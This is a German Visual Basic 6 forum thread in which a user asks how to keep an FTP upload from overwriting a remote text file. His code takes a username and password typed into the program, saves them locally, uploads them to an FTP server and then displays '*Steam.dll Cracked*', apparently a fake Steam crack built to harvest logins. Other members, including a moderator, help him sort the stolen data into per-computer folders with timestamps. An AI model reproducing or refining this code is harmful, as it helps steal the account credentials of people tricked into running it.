Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
Fuka_
Coder
Coder



Anmeldedatum: 15.11.2007
Beiträge: 96

[FTP Upload]Inhalt von .txt nicht überschreiben
Verfasst am: 06.03.2008, 21:29

Moin Leute!

Dieser code hier funktioniert zwar, aber er überschreibt die .txt auf dem server.
Was muss ich machen, damit er alles untereinander schreibt und nichts löscht?

Code:

Code:
Open "C:/registers.crk" For Append As #1
Print #1, ".............................."
Print #1, "Username:" & " " & Text1.Text
Print #1, "Password:" & " " & Text2.Text
Print #1, ".............................."
Close #1

    Dim localpwd As String
    Dim remotepwd As String
   
With Inet1

.AccessType = icDirect
.Protocol = icFTP
.RemotePort = "21"
.URL = Text3.Text
.UserName = Text4.Text
.Password = Text5.Text
   
    localpwd = "C:/registers.crk"
    remotepwd = "registers.txt"

.Execute , "put " & localpwd & " " & remotepwd


End With
Timer1.Enabled = True
Label1.Caption = "*Steam.dll Cracked*"


Freue mich auf eure Lösungen! =)
_________________
 
DFJ_
Poster
Poster

Anmeldedatum: 15.10.2007
Beiträge: 156


Verfasst am: 07.03.2008, 07:55

text vorher auslesen ?
z.b also downloaden wenn du kein zugriff hast auser auf dem ftp .
dann
muss du sie wie gesagt
Download
neue daten schreiben


So würde ich das machen , andere möglichkeit wäre ein php script Smile
_________________
Spam bot
 
Fuka_
Coder
Coder



Anmeldedatum: 15.11.2007
Beiträge: 96


Verfasst am: 07.03.2008, 11:50

Er soll ja nichts downloaden. Oder wie meinst du das?

Ich meine es so, das die .txt einfach erweitert werden soll.

MfG
 
tr4st_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()


Verfasst am: 07.03.2008, 11:52

Aber das geht nicht auf dem FTP, das ist ein File Transfer Protocol damit kann man nicht in Dateien schreiben.
Du musst vorher auf dem System die Datei erweitern und dann hochladen.
_________________
Avoid Suspicion, Manipulate your friends, Eliminate your enemies.
 
Fuka_
Coder
Coder



Anmeldedatum: 15.11.2007
Beiträge: 96


Verfasst am: 07.03.2008, 12:21

Ja, das wäre ja kein Problem, nur wenn verschiedene Leute, die datei haben, haben sie auch verschiedene erweiterte datein.

Eine andere Methode wäre es, die datei einfach umzubennenen, wenn es schon eine andere gibt.

Z.B:

Wenn es schon die steam.txt gibt, dass er eine steam_2.txt o.Ä macht...
Aber wie würde das dann aussehen?

MfG
 
tr4st_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()


Verfasst am: 07.03.2008, 12:24

http://forteach.net/Programming/vb/35385.html

Suche dort mal nach der Zeile wo File Exists beginnt.
_________________
Avoid Suspicion, Manipulate your friends, Eliminate your enemies.
 
seraph1n_
Coder
Coder

Anmeldedatum: 06.01.2008
Beiträge: 93
Wohnort: aaaaaaaaa Level: 1337


Verfasst am: 07.03.2008, 12:45

machs über ein script...
_________________

the_gam3r hat Folgendes geschrieben:
scheisse stimmt, muss noch besser vb lernen^^

tr4st hat Folgendes geschrieben:
Du solltest überhaupt mal VB lernen.
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 07.03.2008, 12:53

Fuka hat Folgendes geschrieben:

Eine andere Methode wäre es, die datei einfach umzubennenen, wenn es schon eine andere gibt.

Z.B:

Wenn es schon die steam.txt gibt, dass er eine steam_2.txt o.Ä macht...
Aber wie würde das dann aussehen?

MfG


Am einfachsten wäre es da wohl einen Ordner auf dem FTP zu erstellen mit dem Computername, Usernamen oder ähnlichem.
In diesen Ordner kommen dann die Dateien, wo du hinten einfach noch Datum + Uhrzeit anhängst.
Somit sollte es eindeutig genug sein und man hat auch gleich noch eine recht gute Übersicht welche Daten von welchem Tag sind.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
DFJ_
Poster
Poster

Anmeldedatum: 15.10.2007
Beiträge: 156


Verfasst am: 07.03.2008, 13:42

oder per inet auslesne müsste gehen ich glaube der internet explorer kann txt anzeigen Smile und sonst als html speichern dann könnt man das auslesen , was in der html datei steht , also z.b zusätzlich
eine html datei eine txt datei

in der html steht das gleiche wie in der txt
mit inet die html datei aufrufen , auslesen
dann neue txt erstellen und html seite und uploaden

Smile
_________________
Spam bot
 
Fuka_
Coder
Coder



Anmeldedatum: 15.11.2007
Beiträge: 96


Verfasst am: 07.03.2008, 13:44

ZiG hat Folgendes geschrieben:
Fuka hat Folgendes geschrieben:

Eine andere Methode wäre es, die datei einfach umzubennenen, wenn es schon eine andere gibt.

Z.B:

Wenn es schon die steam.txt gibt, dass er eine steam_2.txt o.Ä macht...
Aber wie würde das dann aussehen?

MfG


Am einfachsten wäre es da wohl einen Ordner auf dem FTP zu erstellen mit dem Computername, Usernamen oder ähnlichem.
In diesen Ordner kommen dann die Dateien, wo du hinten einfach noch Datum + Uhrzeit anhängst.
Somit sollte es eindeutig genug sein und man hat auch gleich noch eine recht gute Übersicht welche Daten von welchem Tag sind.



Jo, das is die beste Lösung! Wink Danke

Jetzt nur noch die Frage, wo ich die Codes für Datum und Uhrzeit finde, den Rest weiß ich schon. Wink

MfG
 
tr4st_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 17.12.2007
Beiträge: 315
Wohnort: Private Class _ Villa()


Verfasst am: 07.03.2008, 13:45

Damit ist sein Problem auch nicht gelöst! Sinn freier Post!

Er will die Datei nicht auslesen, er will weiterhin in die Datei schreiben!
_________________
Avoid Suspicion, Manipulate your friends, Eliminate your enemies.
 
Fuka_
Coder
Coder



Anmeldedatum: 15.11.2007
Beiträge: 96


Verfasst am: 07.03.2008, 13:52

Ja das wollte ich, aber die Metode von Zig gefällt mir besser, weil man eine viel besseren Überblick hat. =)

MfG
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 07.03.2008, 14:00

Ich würde mal sagen "Now" wäre da passend.

http://www.vbarchiv.net/commands/Now.php
http://www.vbarchiv.net/workshop/workshop32.php
http://www.vbarchiv.net/commands/FormatDateTime.php
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
sollniss_
Coder
Coder

Anmeldedatum: 08.09.2007
Beiträge: 212


Verfasst am: 07.03.2008, 14:03

warum nicht einfach "Time" und "Date" ?
_________________
http://sollniss.1x.to/

 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 07.03.2008, 14:24

Gegenfrage. Warum Time und Date wenn Now beides zugleich ausgibt?

Ich sags mal so. Es ist eigentlich egal wie er es macht.
Die Links sind nur paar Beispiele, damit er was über die Datumsfunktionen lernt.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
Fuka_
Coder
Coder



Anmeldedatum: 15.11.2007
Beiträge: 96


Verfasst am: 07.03.2008, 14:42


Okay danke für die Links erstmal.

Auf jeden fall habe ich jetzt folgenden Code:
Code:
Private Sub Command1_Click()

Open "C:/registers.crk" For Append As #1
Print #1, Text1.Text
Print #1, Text2.Text
Close #1

    Dim localpwd As String
    Dim remotepwd As String
   
With Inet1
localpwd = "C:\registers.crk"
remotepwd = "steam.txt"

Dim Ordnername As String
Ordnername = Environ$("computername")

.AccessType = icDirect
.Protocol = icFTP
.RemotePort = "21"
.URL = "****************"
.UserName = "****************"
.Password = "****************"
.Execute , "MKDIR """ & Environ$("computername") & """"


End With

End Sub


Jetzt will ich die Datei (+Datum&Uhrzeit) in den Ordner speichern, der wie mein Rechner heißt.
Das mit dem Datum etc. ist kein Problem, nur wie ich die Datei in den Ordner bekomme.

Ich habe da an sowas gedacht wie:

Code:

.Execute , "PUT """ & /Environ$("computername") & localpwd & remotepwd/ & """"


Iwie klappt es noch nicht... Confused

Edit:

Das heißt, ich weiß zwar, wie ich den ordner mit dem Namen des Rechners erstelle, nur weiß ich nicht, wie der Befehl heißt, die .txt genau in diesen Ordner zu speichern.
Mein Projekt ist, wenn das hier fertig ist, komplett fertig und deshalb wäre es schade, wenn es daran hier scheitert. Wink
_________________


 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: überschreiben, ftp, txt, upload, print

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 869 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2433 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 



[ Time: 0.5303s ][ Queries: 141 (0.0413s) ][ GZIP on - Debug on ]